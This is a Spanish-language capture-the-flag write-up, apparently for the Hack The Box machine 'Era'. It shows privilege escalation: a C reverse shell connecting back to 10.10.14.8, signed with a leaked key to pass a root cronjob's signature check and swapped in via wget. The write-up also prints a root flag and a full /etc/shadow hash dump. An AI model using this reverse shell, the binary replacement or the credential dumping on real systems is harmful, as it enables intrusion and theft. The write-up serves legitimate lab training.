yuri@era:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
eric:x:1000:1000:eric:/home/eric:/bin/bash
yuri:x:1001:1002::/home/yuri:/bin/sh
yuri@era:~$ su eric
Password: america
eric@era:/home/yuri$ cd
eric@era:~$ ls
user.txt
eric@era:~$ cat user.txt
6026af2e9341abaab1cf719dba37caa3
eric@era:~$

Privesc

En /opt/AV/periodic-checks encontramos dos archivos, un ejecutable y un archivo de log.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
eric@era:/opt/AV/periodic-checks$ pwd
/opt/AV/periodic-checks
eric@era:/opt/AV/periodic-checks$ ls -lah
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 31 05:08 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs  17K Jul 31 05:08 monitor
-rw-rw---- 1 root devs  307 Jul 31 05:08 status.log
eric@era:/opt/AV/periodic-checks$ file monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
eric@era:/opt/AV/periodic-checks$ file status.log
status.log: ASCII text
eric@era:/opt/AV/periodic-checks$

Segun la fecha de cambio del archivo status.log parece ejecutarse un cronjob cada minuto sobre este archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
eric@era:/opt/AV/periodic-checks$ ls -lah
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 31 05:19 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs  17K Jul 31 05:19 monitor
-rw-rw---- 1 root devs  103 Jul 31 05:18 status.log
eric@era:/opt/AV/periodic-checks$ ls -lah
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 31 05:19 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs  17K Jul 31 05:19 monitor
-rw-rw---- 1 root devs  205 Jul 31 05:19 status.log
eric@era:/opt/AV/periodic-checks$ cat status.log

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
eric@era:/opt/AV/periodic-checks$
eric@era:/opt/AV/periodic-checks$ ./monitor
./monitor
bash: ./monitor: Permission denied
eric@era:/opt/AV/periodic-checks$

Ejecutamos base64 sobre monitor para ejecutarlo localmente y vemos que muestra contenido similar al .log. Podria existir un cronjob que lo ejecute y envie el output al log.

1
2
3
4
❯ ./monitor
[*] System scan initiated...
[*] No threats detected. Shutting down...

Eric es miembro del grupo devs por lo que puede realizar cambios a monitor.

1
2
3
eric@era:/opt/AV/periodic-checks$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
eric@era:/opt/AV/periodic-checks$

Intentamos con un “script” pero el log muestra la ejecucion de objcopy por lo que es probable que verifique el archivo antes de ejecutarlo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
eric@era:/opt/AV/periodic-checks$ echo "/bin/bash" > monitor; chmod +x monitor
eric@era:/opt/AV/periodic-checks$ ls -lah
total 36K
drwxrwxr-- 2 root devs 4.0K Jul 31 05:24 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrwxr-x 1 eric eric   10 Jul 31 05:24 monitor
-rwxrw---- 1 root devs  17K Jul 31 05:22 monitor.bak
-rw-rw---- 1 root devs  127 Jul 31 05:24 status.log
eric@era:/opt/AV/periodic-checks$ cat status.log

objcopy: '/opt/AV/periodic-checks/monitor': No such file
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
eric@era:/opt/AV/periodic-checks$

Creamos un ejecutable para una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ cat reverse.c
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int sock;
    struct sockaddr_in server;

    server.sin_family = AF_INET;
    server.sin_port = htons(1336);
    server.sin_addr.s_addr = inet_addr("10.10.14.8");

    sock = socket(AF_INET, SOCK_STREAM, 0);
    connect(sock, (struct sockaddr *)&server, sizeof(server));

    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    execl("/bin/sh", "sh", NULL);

    return 0;
}
❯ gcc -o reverse reverse.c
❯ ll
.rwxrwxr-x kali kali  16 KB Wed Jul 30 23:20:15 2025  monitor
.rwxrwxr-x kali kali  16 KB Wed Jul 30 23:28:51 2025  reverse
.rw-rw-r-- kali kali 486 B  Wed Jul 30 23:27:59 2025  reverse.c

El log muestra que el archivo no esta firmado.

1
2
3
4
5
6
7
8
eric@era:/opt/AV/periodic-checks$ cat status.log

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: can't dump section '.text_sig' - it does not exist: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
eric@era:/opt/AV/periodic-checks$

Elf Binary Signer

Utilizamos linux-elf-binary-signer para firmar el ejecutable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ ./elf-sign
Usage: elf-sign [-h] <hash-algo> <key> <x509> <elf-file> [<dest-file>]
  -h,         display the help and exit

Sign the <elf-file> to an optional <dest-file> with
private key in <key> and public key certificate in <x509>
and the digest algorithm specified by <hash-algo>. If no 
<dest-file> is specified, the <elf-file> will be backup to 
<elf-file>.old, and the original <elf-file> will be signed.

Especificamos la clave privada que encontramos anteriormente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ linux-elf-binary-signer/elf-sign sha256 ../files/signing/key.pem ../files/signing/key.pem reverse monitor
 --- 64-bit ELF file, version 1 (CURRENT), little endian.
 --- 32 sections detected.
 --- [Library dependency]: libc.so.6
 --- Section 0014 [.text] detected.
 --- Length of section [.text]: 411
 --- Signature size of [.text]: 458
 --- Writing signature to file: .text_sig
 --- Removing temporary signature file: .text_sig

Shell

Nuevamente descargamos el archivo firmado esperando su ejecucion.

1
2
3
4
5
6
7
8
9
eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak; wget -q 10.10.14.8/reverse -O monitor ; chmod +x monitor
eric@era:/opt/AV/periodic-checks$ ll
total 68
drwxrwxr-- 2 root devs  4096 Jul 31 05:45 ./
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ../
-rwxrwxr-x 1 eric eric 17082 Jul 31 05:43 monitor*
-rw-rw-r-- 1 eric eric 17080 Jul 31 05:45 monitor.bak
-rw-rw---- 1 root devs   122 Jul 31 05:45 status.log
eric@era:/opt/AV/periodic-checks$

Tras unos segundos el archivo se ejecuto y logramos obtener una shell como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.8] from era.htb [10.10.11.79] 49854
whoami
root
cd /root
ls
answers.sh
clean_monitor.sh
initiate_monitoring.sh
monitor
root.txt
text_sig_section.bin
cat root.txt
b64478736be9b1e69aa72aa24abbe1eb

Cronjob Monitor

A traves del script initiate_monitoring.sh vemos que se verifica la firma del archivo monitor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
cat initiate_monitoring.sh
#!/bin/bash

# Paths
BINARY="/opt/AV/periodic-checks/monitor"
SECTION=".text_sig"
EXTRACTED_SECTION="text_sig_section.bin"
ORGANIZATION="Era Inc."
EMAIL="yurivich@era.com"

# Extract the .text_sig section
objcopy --dump-section "$SECTION"="$EXTRACTED_SECTION" "$BINARY"

# Parse the ASN.1 structure
OUTPUT=$(openssl asn1parse -inform DER -in "$EXTRACTED_SECTION" 2>/dev/null)

if [[ $? -ne 0 ]]; then
    echo "[ERROR] Executable not signed. Tampering attempt detected. Skipping."
    rm -f "$EXTRACTED_SECTION"
    exit 1
fi

# Check for the organization name
ORG_CHECK=$(echo "$OUTPUT" | grep -oP "(?<=UTF8STRING        :)$ORGANIZATION")

# Check for the email address
EMAIL_CHECK=$(echo "$OUTPUT" | grep -oP "(?<=IA5STRING         :)$EMAIL")

# Decision logic
if [[ "$ORG_CHECK" == "$ORGANIZATION" && "$EMAIL_CHECK" == "$EMAIL" ]]; then
    $BINARY
    echo "[SUCCESS] No threats detected."
    ALLOW=1
else
    echo "[FAILURE] Binary has been tampered with. Skipping."
    ALLOW=0
fi

# Cleanup
rm -f "$EXTRACTED_SECTION"

# Exit with appropriate status
exit $ALLOW

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cat /etc/shadow
root:$y$j9T$KS466bqZgScjpShqW.M5R.$ZJiDypD1.tHrT5D3AeWhnsIUp2rIrTnkRp4jrV5TjgB:19983:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
usbmux:*:19983:0:99999:7:::
sshd:*:19983:0:99999:7:::
eric:$6$.ki8iFVEyU3nItnU$hbR6van4JaXfZTkvXIynNfMIZMp4YCeU9f/jRR4xfdtCOceIJxwDHKrKyjMZtb2juxWsE6GcHJQAxfat7m12a/:19983:0:99999:7:::
ftp:*:20065:0:99999:7:::
yuri:$y$j9T$nb4GkUIQQFAvxZEOhZ0Dk0$WvwIZQLgnstRTdMheX1tug.aHi0TrwGcFJB93k8DcA6:20268:0:99999:7:::
_laurel:!:20271::::::
Share on

Dany Sucuc
WRITTEN BY
sckull